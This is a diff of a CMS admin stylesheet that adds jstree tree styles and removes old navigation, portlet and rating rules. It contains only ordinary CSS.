+.tree>ul>li:first-child:before{content:normal} +.tree>ul>li>a{font-weight:bold;text-shadow:0 1px 0 #fff;vertical-align:middle} +.tree>ul>li>a:hover, +.tree>ul>li>a:focus, +.tree>ul>li>a.jstree-clicked, +.tree>ul>li>a.jstree-hovered{text-shadow:none} +.tree>ul>li>ul{margin:0 0 0 18px} +.tree>ul>li>ul>li{margin-left:0} + /* li>a */ +.tree li>a{border:0 !important;padding:0 8px !important;margin:0 0 1px 0;border-radius:3px;position:relative;z-index:2;height:23px;line-height:23px;max-width:160px;overflow:hidden;text-overflow:ellipsis;-webkit-transition:.2s;-moz-transition:.2s;-o-transition:.2s;transition:.2s} +.tree li>a>i{opacity:.5;filter:alpha(opacity=50)} +.tree .jstree-hovered>i, +.tree .jstree-clicked>i{opacity:1;filter:alpha(opacity=100)} + /* Plugin style override */ +.tree a>.jstree-icon{display:none} +.tree .jstree-open>.jstree-icon, +.tree .jstree-closed>.jstree-icon{background-color:#fff} + +/* ---------- Deprecated UI: Please do not use this CSS styles below. It will be removed as soon as possible. ---------- */ +/* ---------- Deprecated UI: Please do not use this CSS styles below. It will be removed as soon as possible. ---------- */ +/* ---------- Deprecated UI: Please do not use this CSS styles below. It will be removed as soon as possible. ---------- */ + /* Section & Heading */ -.x .section{margin:1em 0;padding:0;border:0} .x .h2, .x .h3, .x .h4{position:relative;border-style:solid;border-top:0;border-right:0;zoom:1;padding-left:8px} @@ -30,23 +541,6 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .h2 + .table table, .x .h3 + .table table, .x .h4 + .table table{border-top:0 !important;margin-top:-1em !important} -/* Portlet */ -.x .portlet{position:relative;border:1px solid #e9e9e9;margin:1em 0;padding:0;background:#fff;zoom:1;overflow:hidden;border-radius:5px} -.x .portlet h2, -.x .portlet h3{margin:0;padding:.5em 1em;font-size:14px;border:1px solid #fff;border-bottom:1px solid #e9e9e9;background:#f7f7f7;border-radius:5px 5px 0 0} -.x .portlet p{margin:1em 1.2em} -.x .portlet li{position:relative;padding-right:8em} -.x .portlet .lined{margin:1px !important;padding:0;list-style:none} -.x .portlet .lined li{padding:.5em 8em .5em 1em;border-top:1px solid #eee;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;-o-text-overflow:ellipsis} -.x .portlet .lined li:first-child{border:0} -.x .portlet .side{position:absolute;top:0;_top:1px;right:0;color:#666;background:#fff;padding:0 1em} -.x .portlet .lined .side{padding:.5em 1em} -.x .portlet .more{position:absolute;top:.5em;right:1em;text-decoration:none !important;color:#666} -.x .portlet .more span{color:#999} -.x .portlet .action{text-align:right;top:0;right:0;padding:.5em 1em .5em 3em;background:#fff;background:-webkit-gradient(linear, 0% 0%, 100% 0%, from(rgba(255,255,255,0)), to(rgba(255,255,255,1)), color-stop(15%, #fff));background:-moz-linear-gradient(left, rgba(255,255,255,0) 0, rgba(255,255,255,1) 15%)} -.x .portlet .action a, -.x .portlet .action button{margin-left:1em} -.x .portlet .btnArea{border-top:1px solid #ddd;margin:0;padding:.5em 1em;margin:0 1px 1px 1px;background:#f7f7f7;border-radius:0 0 5px 5px} /* Table */ .x .table{margin:1em 0} .x .table table{width:100%;border:0;border-collapse:collapse;border-top:2px solid #ccc} @@ -63,22 +557,20 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .table tfoot td{font-weight:bold;background:#f8f8f8} .x .table.even tbody tr:nth-of-type(even){background-color:#fafafa} .x .table tbody tr:hover{background:#ffd !important} -.x .table td>input[type=text]{margin:-1px 0 !important;vertical-align:middle} +.x .table td>input[type="text"]{margin:-1px 0 !important;vertical-align:middle} .x .table img{vertical-align:middle} .x .table em{font-style:normal;font-weight:normal;color:#e00} -.x .table th.nowr, -.x .table td.nowr{white-space:nowrap} /* Form */ .x .form{margin:0 0 1em 0;padding:0} .x .form fieldset{margin:0 0 2em 0;padding:0;border:0} .x .form.search fieldset{border:1px solid #ccc;padding:5px 15px;border-radius:3px} .x .form em{font-style:normal;color:#e00} .x .form label{line-height:1;vertical-align:middle} -.x .form input[type=radio]+label, -.x .form input[type=checkbox]+label{margin-right:1em} -.x .form input[type=checkbox]+label, -.x .form input[type=radio]+label, -.x .form input[type=file]{cursor:pointer} +.x .form input[type="radio"]+label, +.x .form input[type="checkbox"]+label{margin-right:1em} +.x .form input[type="checkbox"]+label, +.x .form input[type="radio"]+label, +.x .form input[type="file"]{cursor:pointer} .x .form ul{position:relative;margin:1em 0;padding:0;list-style:none;border-top:2px solid #ccc;border-bottom:1px solid #ccc;zoom:1} .x .form li{list-style:none;border:1px solid #ddd;border-left:0;border-right:0;margin:-1px 0;padding:8px 0;vertical-align:top;zoom:1} .x .form li:hover{background:#ffd} @@ -86,24 +578,22 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .form li>label:first-child{display:block;font-weight:bold} .x .form li label em{font-weight:normal} .x .form label.overlap{position:absolute;color:#aaa} -.x .form input[type=text], -.x .form input[type=password], -.x .form input[type=file], +.x .form input[type="text"], +.x .form input[type="password"], +.x .form input[type="file"], .x .form select[size], .x .form textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent} -.x .form input[type=text], -.x .form input[type=password], -.x .form input[type=file]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px} -.x .form input[type=text].loading, -.x .form input.loading[type=password]{padding-right:24px;width:260px;background:transparent url(../img/preLoader16.gif) no-repeat 265px center} -.x .form input[type=checkbox], -.x .form input[type=radio]{margin:0;padding:0;width:13px;height:13px;vertical-align:middle} -.x .form input[type=text][disabled=disabled], -.x .form input[type=password][disabled=disabled], -.x .form input[type=radio][disabled=disabled], -.x .form input[type=checkbox][disabled=disabled], -.x .form select[disabled=disabled], -.x .form textarea[disabled=disabled]{background:#ddd;text-shadow:1px 1px 0 #fff} +.x .form input[type="text"], +.x .form input[type="password"], +.x .form input[type="file"]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px} +.x .form input[type="checkbox"], +.x .form input[type="radio"]{margin:0;padding:0;width:13px;height:13px;vertical-align:middle} +.x .form input[type="text"][disabled="disabled"], +.x .form input[type="password"][disabled="disabled"], +.x .form input[type="radio"][disabled="disabled"], +.x .form input[type="checkbox"][disabled="disabled"], +.x .form select[disabled="disabled"], +.x .form textarea[disabled="disabled"]{background:#ddd;text-shadow:1px 1px 0 #fff} .x .form textarea{padding:3px 4px;vertical-align:top;resize:both} .x .form span.desc, .x .form em.desc{line-height:22px;vertical-align:middle;margin:0 10px} @@ -111,71 +601,6 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .form .q{font-weight:bold;margin:0 0 5px 0} .x .form .a{margin:0 0 5px 0} .x .form .tgForm{margin-right:1em} -/* Global Navigation Bar */ -.x .gnb{height:34px;clear:both;border:1px solid #c1c1c1;border-left:0;border-right:0;background-color:#efefef;background:#efefef -webkit-gradient(linear, 0% 0%, 0% 100%, from(#efefef), to(#dcdcdc));background:#efefef -moz-linear-gradient(top, #efefef, #dcdcdc);filter:progid:DXImageTransform.Microsoft.gradient(startColorStr=#efefef, endColorStr=#dcdcdc);zoom:1} -.x .gnb:after{content:"";display:block;clear:both} -.x .gnb .nav-gnb{float:left;position:relative;display:inline-block;*display:inline;zoom:1;margin:0 0 0 20px;padding:1px;list-style:none} -.x .gnb .nav-gnb ul{_position:absolute;display:block;_display:inline;zoom:1;clear:both;margin:0;padding:0;border:0;overflow:hidden;height:0} -.x .gnb.active .nav-gnb{top:-5px;padding:5px 5px 5px 0;margin:0 0 -100% 20px;border:1px solid #aaa;background:#fff;box-shadow:0 0 10px #999;border-radius:5px} -.x .gnb.active .nav-gnb ul{top:0;_position:relative;box-shadow:none;display:block;_display:inline;clear:both;padding:0;margin:0;border:0} -.x .gnb .nav-gnb:after{content:"";display:block;clear:both} -.x .gnb .nav-gnb li{position:relative;display:inline-block;*display:inline;zoom:1;vertical-align:top;overflow:hidden;margin:0} -.x .gnb .nav-gnb li.activeOn{z-index:10} -.x .gnb .nav-gnb li.activeOn>a{border:1px solid #ccc} -.x .gnb .nav-gnb li li{display:block;_float:left;clear:both;overflow:hidden;border:0;margin:0} -.x .gnb .nav-gnb li li:first-child{border:0} -.x .gnb .nav-gnb li a{display:block;_float:left;font-weight:bold;color:#333;font-size:12px;height:14px;padding:9px 0;white-space:nowrap;text-decoration:none;text-shadow:0 1px 0 #fff;zoom:1} -.x .gnb .nav-gnb li a span{padding:0 15px;border-left:1px solid #fff} -.x .gnb.active .nav-gnb li a span, -.x .gnb .nav-gnb li:first-child a span, -.x .gnb .nav-gnb li.activeOn+li a span{border:0;margin:0 0 0 1px} -.x .gnb .nav-gnb li a:hover, -.x .gnb .nav-gnb li a:active, -.x .gnb .nav-gnb li a:focus{background:#f4f4f4} -.x .gnb .nav-gnb li.activeOn>a{background:#fff;padding:8px 0} -.x .gnb .nav-gnb li li a{color:#555;background:#fff;padding:5px 15px !important;font-weight:normal !important;border:0 !important} -.x .gnb .nav-gnb li li a:hover, -.x .gnb .nav-gnb li li a:active, -.x .gnb .nav-gnb li li a:focus{border:0;background:#eee} -.x .gnb .mnv{width:100%;height:32px;display:none} -@media all and (max-width:860px){ -.x .gnb{height:auto} -.x .gnb .nav-gnb, -.x .sct{display:none} -.x .gnb .mnv{display:block} -} -/* Local Navigation */ -.x .lnb{position:relative;float:left;width:210px;left:-230px;margin:0 0 20px 0;line-height:normal;zoom:1;display:inline} -.x .lnb .h2{position:relative;z-index:2;margin:0 0 -1px 0;padding:0 10px;border:1px solid #444;border-bottom:0;border-radius:4px 4px 0 0;background:#555;font-size:13px;color:#fff;line-height:36px} -.x .lnb ul{margin:0 !important;padding:0;list-style:none;position:relative;z-index:1} -.x .lnb li{position:relative;margin:0 0 -1px 0;vertical-align:top;zoom:1} -.x .lnb li a{display:block;position:relative;padding:8px 10px;text-decoration:none;color:#666;font-weight:bold;background:#fafafa;border:1px solid #eee;zoom:1} -.x .lnb li a .i{position:absolute;top:50%;left:100%;margin:-4px 0 0 -16px;width:8px;height:8px;color:#ccc;background:url(../img/iconNavVr.gif) no-repeat left top} -.x .lnb li ul{padding:5px 0;background:#fff} -.x .lnb li li{margin:0;border-top:1px dotted #ddd} -.x .lnb li li:first-child{border:0} -.x .lnb li li a{font-weight:normal;background:#fff;padding:5px 10px;border:0} -.x .lnb li li a span{color:#666} -.x .lnb li.active{border:1px solid #ccc;z-index:2} -.x .lnb li li.active{border:0} -.x .lnb li.active a{color:#000;border:0} -.x .lnb li.active .i{background-position:0 -44px} -.x .lnb li.active li a{border:0} -.x .lnb li.active ul{display:block;border-top:1px solid #eee} -.x .lnb li.active li.active a span{color:#13b200;font-weight:bold;letter-spacing:-1px} -.x .lnb li:last-child a, -.x .lnb li.active:last-child{border-radius:0 0 4px 4px !important} -/* Shortcut */ -.x .sct{float:left;width:210px;position:relative;left:-230px;margin:0;padding:8px 0;border:0;box-shadow:inset 0 0 1px rgba(0,0,0,0.5)} -.x .sct h2{margin:0 0 5px 10px;font-size:13px} -.x .sct ul{margin:0;font-size:12px} -.x .sct li{position:relative} -.x .sct a{text-decoration:none;padding:3px 18px 3px 10px} -.x .sct form{position:absolute;margin:0;padding:0;top:2px;right:-10px} -.x .sct .text{text-decoration:none;font-weight:bold;color:#999 !important;width:16px;height:16px;margin:0} -.x .sct .text:hover, -.x .sct .text:active, -.x .sct .text:focus{color:#333 !important} /* Content Navigation */ .x .cnb{margin:1em 0;position:relative;zoom:1} .x .cnb:after{content:"";display:block;clear:both} @@ -201,17 +626,12 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .pagination .direction:focus{border:0;margin:0;text-decoration:underline} .x .pagination input{width:30px;text-align:center} .x .pagination button{overflow:visible} -/* Star Rating */ -.x .starRating, -.x .starRating span{display:inline-block;height:14px;background:transparent url(../img/iconStarRating.gif) no-repeat;overflow:hidden} -.x .starRating{width:79px;vertical-align:top} -.x .starRating span{font-size:0;line-height:0;vertical-align:top;text-indent:-100px;*text-indent:0;background-position:0 -14px} /* Progress */ .x .prgrs{white-space:nowrap;line-height:normal;vertical-align:middle} .x .prgrs *{vertical-align:middle} .x .prgrs .pBar{position:relative;display:inline-block;background:#e9e9e9;margin:0 5px 0 0} .x .prgrs .pAction{display:inline-block;vertical-align:top;background:#99a6b6} -.x .prgrs .pNum{position:absolute;width:100%;left:0;top:0;text-align:center;text-shadow:1px 1px 0 #fff} +.x .prgrs .pNum{width:100%;left:0;top:0;text-align:center;text-shadow:1px 1px 0 #fff} .x .prgrs.prgrsSmall{font-size:14px;line-height:14px} .x .prgrs.prgrsSmall .pBar, .x .prgrs.prgrsSmall .pAction, @@ -225,7 +645,7 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .prgrs.prgrsLarge .pAction, .x .prgrs.prgrsLarge .pNum{height:34px;line-height:34px;font-size:14px} /* Modal Window */ -.modal{position:absolute;top:0;left:0;width:100%;_height:100%;min-height:100%;z-index:99} +.modal{position:absolute;top:0;left:0;width:100%;_height:100%;min-height:100%;z-index:1050} .modal .bg{position:absolute;background:#000;_background:none;width:100%;height:100%;opacity:.5;z-index:2;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50);zoom:1} .modal .fg{position:relative;width:80%;margin:5em auto;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:3;zoom:1;border-radius:5px;box-shadow:0 0 6px #000} .modal ul, @@ -234,685 +654,4 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .modal .table{margin-bottom:1em} .modal .ie6{position:absolute;left:0;top:0;width:100%;height:100%;border:0;opacity:0;filter:alpha(opacity=0);z-index:1} .modalClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px} -.modalBlur{position:absolute;top:0;right:0;border:0;background:none;padding:0;width:1px;height:1px;overflow:hidden} -html.modalContainer, -body.modalContainer{_height:100%;_width:100%} /* IE6 only */ -/* Layer */ -.x .layer, -.x.layer{position:absolute;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:2;zoom:1;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 6px #666;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135, strength=5)} -.x .layer h2{font-size:14px} -.x .layer ul, -.x .layer ol, -.x .layer .lined, -.x .layer .table{margin-bottom:1em} -.x .layerClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px} -.x .layerBlur{position:absolute;top:0;right:0;border:0;background:none;padding:0;width:1px;height:1px;overflow:hidden} -/* H2 Anchor */ -.x .h2Anchor{position:absolute;right:0;border:0;background:none;color:#00f;text-decoration:underline} -/* Skip Navigation */ -.x .skipNav{margin:0;text-align:center} -@media all and (max-width:860px){ -.x .skipNav{display:none} -} -.x .skipNav a{position:absolute;width:1px;height:1px;display:block;padding:10px 0;font-weight:bold;overflow:hidden} -.x .skipNav a:hover, -.x .skipNav a:active, -.x .skipNav a:focus{position:relative;width:auto;height:auto} -/* Header */ -.x .header{position:relative;z-index:2;padding:30px 0 0 0;background:#4c4c4c;box-shadow:0 0 10px #aaa;zoom:1;border-radius:5px 5px 0 0} -.x .header:after{content:"";display:block;clear:both} -.x .header a{text-decoration:none} -.x .header h1{margin:0 0 10px 20px;font-size:24px;line-height:32px;display:inline-block;*display:inline;zoom:1;vertical-align:middle} -.x .header h1 *{vertical-align:middle} -.x .header h1 a{display:inline-block;color:#fff;text-shadow:1px 1px 0 #000;filter:progid:DXImageTransform.Microsoft.dropshadow(OffX=1, OffY=1, Color=#000000, Positive=true);zoom:1} -.x .header h1 .url{font-size:12px;font-weight:normal} -.x .header .site{margin:0 0 10px 20px;display:inline-block;*display:inline;zoom:1} -.x .header .site a{color:#fff;text-decoration:underline} -.x .header #moveSiteList{padding:10px 1em 5px 1em;margin:0} -.x .header #moveSiteList ul{list-style:none;margin:0;padding:0} -.x .header #moveSiteList li{white-space:nowrap;margin:0;padding:4px 0;border-bottom:1px dotted #ccc} -.x .header #siteMapList{padding:0 1em 1em 1em;margin:0} -.x .header #siteMapList li{white-space:nowrap} -.x .header .account{position:absolute;z-index:3;width:100%;top:0;right:0;white-space:nowrap;text-align:right;background:#333;border-bottom:1px solid #656565;color:#fff;font-size:12px;border-radius:5px 5px 0 0} -.x .header .account ul{margin:0;padding:5px 20px 5px 0;list-style:none} -.x .header .account li{position:relative;display:inline;border-left:1px solid #666;padding:0 6px 0 10px} -.x .header .account li:first-child{border:0} -.x .header .account a{color:#fff;display:inline-block;height:14px} -.x .header .account a.language{padding-right:16px;background:url(../img/iconArrow.gif) no-repeat right -160px} -.x .header #language{position:absolute;top:19px;right:-20px;padding:6px 4px !important;border:1px solid #666;border-top:0;background:#333} -@media all and (max-width:860px){ -.x .header #language{right:-10px} -} -.x .header #language li{border:0;display:block;padding:1px 8px 1px 10px;text-align:left;line-height:1} -.x .header #language li.selected{background:url(../img/iconCheck.gif) no-repeat left center} -.x .header #language li.selected a{text-decoration:underline} -.x .header h1 a:hover, -.x .header h1 a:active, -.x .header h1 a:focus, -.x .header .account a:hover, -.x .header .account a:active, -.x .header .account a:focus{color:#6e9cf2;text-decoration:underline} -/* Footer */ -.x .footer{border-top:1px solid #ddd;text-align:center;font-size:12px;padding:1.5em 0;zoom:1} -.x .footer *{font-size:12px} -.x .footer:after{content:"";display:block;clear:both} -.x .footer p{margin:0} -.x .footer .power{float:left} -.x .footer .cache{float:right} -.x .footer .vr{color:#ccc} -/* Body */ -.x .body{position:relative;z-index:1;padding:30px 10px 30px 240px;zoom:1} -.x .body:after{content:"";display:block;clear:both} -/* Content */ -.x .content{float:right;width:100%;margin-left:-210px;zoom:1;outline:0;min-height:500px} -.x .content:after{content:"";display:block;clear:both} -.x .content a{color:#33a} -.x .content a:hover, -.x .content a:active, -.x .content a:focus{color:#a33} -.x .content .portlet a{text-decoration:none} -.x .content .portlet a:hover, -.x .content .portlet a:active, -.x .content .portlet a:focus{text-decoration:underline} -/* Dashboard */ -.x .dashboard .section{margin-top:0} -.x .dashboard .portlet{float:left;width:48%;margin-right:1em;margin-top:0;min-height:188px} -.x .dashboard .portlet:nth-of-type(odd){float:left;width:49%;margin-right:0} -.x .dashboard .portlet:nth-of-type(even){float:right;width:49%;margin-right:0} -@media all and (min-width:1300px){ -.x .dashboard .portlet{float:left !important;width:32% !important;margin-right:1em !important} -} -/* Search */ -.x .search{zoom:1} -.x .search:after{content:"";display:block;clear:both} -.x .search .pagination{float:left;text-align:left} -.x .search form{float:right;margin:1em 0} -.x .search form *{vertical-align:middle} -/* Site Map */ -.x .siteMap h2 input{font-size:14px;font-weight:bold;padding:3px 4px;margin:0;border:0;background:transparent} -.x .siteMap h2:hover input, -.x .siteMap h2 input:focus{background:#ff0;border:1px dashed #ccc;margin:-1px} -.x .siteMap label{cursor:text} -.x .siteMap .lined ul{padding:0;margin:0;border-top:1px solid #eee;zoom:1} -.x .siteMap .lined li{position:relative;padding:0;margin:0;cursor:all-scroll;list-style:none;zoom:1} -.x .siteMap .lined li li{border-top:1px solid #eee} -.x .siteMap li li{text-indent:18px} -.x .siteMap li li li{text-indent:36px} -.x .siteMap li li li li{text-indent:54px} -.x .siteMap li li li li li{text-indent:72px} -.x .siteMap li li li li li li{text-indent:90px} -.x .siteMap li li li li li li li{text-indent:108px} -.x .siteMap li li li li li li li li{text-indent:126px} -.x .siteMap li li li li li li li li li{text-indent:144px} -.x .siteMap li li li li li li li li li li{text-indent:162px} -.x .siteMap li li li li li li li li li li li{text-indent:180px} -.x .siteMap li li li li li li li li li li li li{text-indent:198px} -.x .siteMap li *{vertical-align:middle} -.x .siteMap li .moveTo+input{width:200px;border:0;padding:0 .5em} -.x .siteMap li .moveTo+input:hover, -.x .siteMap li .moveTo+input:active, -.x .siteMap li .moveTo+input:focus{border:1px dotted #ccc;overflow:visible} -.x .siteMap .moveTo{position:relative;z-index:2;width:22px;height:32px;padding:32px 0 0 0;margin:0 3px;_margin-top:-1px;overflow:hidden;background:#fff url(../img/iconMoveTo.gif) no-repeat center 0;border:0;cursor:move} -.x .siteMap li.active, -.x .siteMap li.active .moveTo{background-color:#f7f7f7} -.x .siteMap li.active li, -.x .siteMap li.active ul{border-top-color:#f7f7f7} -.x .siteMap li.active .moveTo{background-position:center -32px} -.x .siteMap .vr, -.x .siteMap .hr{display:none;position:absolute;z-index:1;left:14px;border:0px solid #ccc;overflow:hidden} -.x .siteMap .vr{top:-16px;height:100%;border-left-width:1px} -.x .siteMap .hr{top:16px;width:16px;border-top-width:1px} -.x .siteMap li.active .vr, -.x .siteMap li.active li .hr{display:block} -.x .siteMap li li .vr, -.x .siteMap li li li .hr{left:32px} -.x .siteMap li li li .vr, -.x .siteMap li li li li .hr{left:50px} -.x .siteMap li li li li .vr, -.x .siteMap li li li li li .hr{left:68px} -.x .siteMap li li li li li .vr, -.x .siteMap li li li li li li .hr{left:86px} -.x .siteMap li li li li li li .vr, -.x .siteMap li li li li li li li .hr{left:104px} -.x .siteMap li li li li li li li .vr, -.x .siteMap li li li li li li li li .hr{left:122px} -.x .siteMap li li li li li li li li .vr, -.x .siteMap li li li li li li li li li .hr{left:140px} -.x .siteMap li li li li li li li li li .vr, -.x .siteMap li li li li li li li li li li .hr{left:158px} -.x .siteMap li li li li li li li li li li .vr, -.x .siteMap li li li li li li li li li li li .hr{left:176px} -.x .siteMap li li li li li li li li li li li .vr, -.x .siteMap li li li li li li li li li li li li .hr{left:336px} -.x .siteMap .side{padding-top:0 !important;padding-bottom:0 !important;line-height:30px;background:transparent !important} -.x .siteMap .side button{text-indent:0;line-height:1} -.x .siteMap .tgMap{position:absolute;top:12px;right:1em;padding:0 16px 0 0;line-height:16px;background:url(../img/iconArrow.gif) no-repeat right -126px} -.x .siteMap.fold .tgMap{background-position:right -158px} -.x .siteMap.fold .h2{border-bottom-color:#fff;border-radius:5px} -.x .siteMap .placeholder{background:#bbb} -.x .siteMap .draggable, -.x .siteMap .draggable .moveTo{background-color:#ddd} -.x .siteMap .draggable .summary{border-left:1px solid #ccc;padding-left:10px;margin-left:10px;font-size:11px;color:#999} -.x .siteMap a.ms{text-decoration:underline} -/* Multilingual */ -.x .langEdit{background:#fff;position:absolute;*left:0;*margin-top:28px;z-index:10} -.x .langEdit ul{border-top:1px solid #ccc;border-left:1px solid #eee;border-right:1px solid #eee;margin:0} -.x .langEdit li{padding:.5em 10px} -.x .langEdit input[type=text]{width:220px;padding-right:40px} -.x .langEdit label{left:15px !important} -.x .langEdit .action{border:1px solid #eee;width:268px;padding:0 10px} -.x .langEdit p, -.x .langEdit .btnArea{white-space:normal} -.x .langEdit .langList, -.x .langEdit .langEditControls{box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135, strength=5)} -.x .langEdit .langList{margin:0 -1px 0 0;display:none} -.x .langEdit .langList li{white-space:nowrap;color:#ccc;width:270px} -.x .langEdit .langList li span{display:inline-block;width:80px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;color:#767676} -.x .langEdit .langList li a{display:inline-block;width:80px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis} -.x .langEdit .langList li.active{background:url(../img/iconArrow.gif) no-repeat right -188px} -.x .langEdit.showChild .langList{display:block} -.x .langEdit .langInput{background:#fff} -.x .langEdit .langInput h2{padding:5px 10px;margin:0 0 -1px 0;font-size:12px;font-weight:normal;color:#666;border:1px solid #eee;border-top-color:#ccc} -.x .langEdit .langInput h2 strong{color:#000;font-size:14px} -.x .langEdit.showChild .langInput{position:absolute;left:285px;top:0} -.x .langEdit li.en input, -.x .langEdit li.en textarea, -.x .mLangEdit li.en textarea{background:url(../img/flag.us.gif) no-repeat 99% 5px} -.x .langEdit li.ko input, -.x .langEdit li.ko textarea, -.x .mLangEdit li.ko textarea{background:url(../img/flag.kr.gif) no-repeat 99% 5px} -.x .langEdit li.jp input, -.x .langEdit li.jp textarea, -.x .mLangEdit li.jp textarea{background:url(../img/flag.jp.gif) no-repeat 99% 5px} -.x .langEdit li.fr input, -.x .langEdit li.fr textarea, -.x .mLangEdit li.fr textarea{background:url(../img/flag.fr.gif) no-repeat 99% 5px} -.x .langEdit li.de input, -.x .langEdit li.de textarea, -.x .mLangEdit li.de textarea{background:url(../img/flag.de.gif) no-repeat 99% 5px} -.x .langEdit li.ru input, -.x .langEdit li.ru textarea, -.x .mLangEdit li.ru textarea{background:url(../img/flag.ru.gif) no-repeat 99% 5px} -.x .langEdit li.es input, -.x .langEdit li.es textarea, -.x .mLangEdit li.es textarea{background:url(../img/flag.es.gif) no-repeat 99% 5px} -.x .langEdit li.tr input, -.x .langEdit li.tr textarea, -.x .mLangEdit li.tr textarea{background:url(../img/flag.tr.gif) no-repeat 99% 5px} -.x .langEdit li.vi input, -.x .langEdit li.vi textarea, -.x .mLangEdit li.vi textarea{background:url(../img/flag.vn.gif) no-repeat 99% 5px} -.x .langEdit li.mn input, -.x .langEdit li.mn textarea, -.x .mLangEdit li.mn textarea{background:url(../img/flag.mn.gif) no-repeat 99% 5px} -.x .langEdit li.zh-CN input, -.x .langEdit li.zh-CN textarea, -.x .mLangEdit li.zh-CN textarea{background:url(../img/flag.cn.gif) no-repeat 99% 5px} -.x .langEdit li.zh-TW input, -.x .langEdit li.zh-TW textarea, -.x .mLangEdit li.zh-TW textarea{background:url(../img/flag.tw.gif) no-repeat 99% 5px} -.x .mLangEdit.en strong{background:url(../img/flag.us.gif) no-repeat 0 10px} -.x .mLangEdit.ko strong{background:url(../img/flag.kr.gif) no-repeat 0 10px} -.x .mLangEdit.jp strong{background:url(../img/flag.jp.gif) no-repeat 0 10px} -.x .mLangEdit.fr strong{background:url(../img/flag.fr.gif) no-repeat 0 10px} -.x .mLangEdit.de strong{background:url(../img/flag.de.gif) no-repeat 0 10px} -.x .mLangEdit.ru strong{background:url(../img/flag.ru.gif) no-repeat 0 10px} -.x .mLangEdit.es strong{background:url(../img/flag.es.gif) no-repeat 0 10px} -.x .mLangEdit.tr strong{background:url(../img/flag.tr.gif) no-repeat 0 10px} -.x .mLangEdit.vi strong{background:url(../img/flag.vn.gif) no-repeat 0 10px} -.x .mLangEdit.mn strong{background:url(../img/flag.mn.gif) no-repeat 0 10px} -.x .mLangEdit.zh-CN strong{background:url(../img/flag.cn.gif) no-repeat 0 10px} -.x .mLangEdit.zh-TW strong{background:url(../img/flag.tw.gif) no-repeat 0 10px} -.x .mLangEdit ul ul{border:0} -.x .mLangEdit li{position:relative;padding:0} -.x .mLangEdit li strong{display:inline-block;padding:6px 100px 8px 24px;font-weight:normal;line-height:1.5} -.x .mLangEdit li .side{position:absolute;top:8px;right:0;padding-right:18px;background:url(../img/iconArrow.gif) no-repeat right -160px} -.x .mLangEdit li li{border:0;padding-right:36px} -.x .mLangEdit li textarea{width:100%;height:16px;padding-right:30px;resize:vertical;line-height:1.4} -.x .mLangEdit li label{top:8px !important} -.x .mLangEdit li.active{background:#FFFDEF} -.x .mLangEdit li.active strong{font-weight:bold} -.x .mLangEdit li.active .side{background-position:right -128px} -.modal .mLangEdit ul{padding-bottom:1em} -.modal .mLangEdit li{border:0;padding-right:36px} -/* Suggestion */ -.x .suggestion{display:none;position:absolute;background:#fff;z-index:10;_height:200px;max-height:200px;overflow:auto;*left:0;*margin-top:28px;box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135, strength=5)} -.x .suggestion ul{border-top:1px solid #ccc;border-left:1px solid #eee;border-right:1px solid #eee;margin:0} -.x .suggestion li{padding:0} -.x .suggestion li:last-child{border-bottom:0} -.x .suggestion li button{border:0;background:#fff;text-align:left;width:288px;padding:2px 4px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} -.x .suggestion li button:hover, -.x .suggestion li button:active, -.x .suggestion li button:focus, -.x .suggestion li button.active{background:#eee} -/* Image Mark */ -.x #imageMark{right:0} -/* Easy Installer */ -.x .easyNav{position:relative;border:1px solid #e9e9e9;zoom:1} -.x .easyNav:after{content:"";display:block;clear:both} -.x .easyNav h2{font-size:16px} -.x .easyNav .category{width:30%;float:left;margin:0 2em;display:inline} -.x .easyNav .filter{position:absolute;top:0;right:0;margin:1em 2em;text-align:right} -.x .easyList caption .side .text .hide, -.x .easyList caption .side .details .show{display:none} -.x .easyList caption .side .details .hide{display:inline} -.x .easyList td p:first-child{margin:0} -.x .easyList td p.update{background:#ffc;padding:.5em 1em;border:1px solid #fc9;border-left:0;border-right:0;text-align:center} -/* Font Preview */ -.x .fontPreview{width:96%;border:1px solid #e9e9e9;zoom:1;padding:1em 2em;margin:.5em 0} -/* FTP Suggestion */ -.x #ftpSuggestion{background:#fff;box-shadow:3px 3px 6px #999;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135, strength=5)} -.x #ftpSuggestion ul{border-left:1px solid #eee;border-right:1px solid #eee} -.x #ftpSuggestion li{padding:0} -.x #ftpSuggestion li button{border:0;background:#fff;text-align:left;width:288px} -.x #ftpSuggestion li button:hover, -.x #ftpSuggestion li button:active, -.x #ftpSuggestion li button:focus{background:#eee} -/* Theme & Skin Preview */ -.x .thumbPreview li{position:relative;padding-left:10px;padding-right:10px} -.x .thumbPreview li.active.highlight{background:#f9f9f9} -.x .thumbPreview .prevToggle{position:absolute;top:8px;right:10px;line-height:16px;padding:0 18px 0 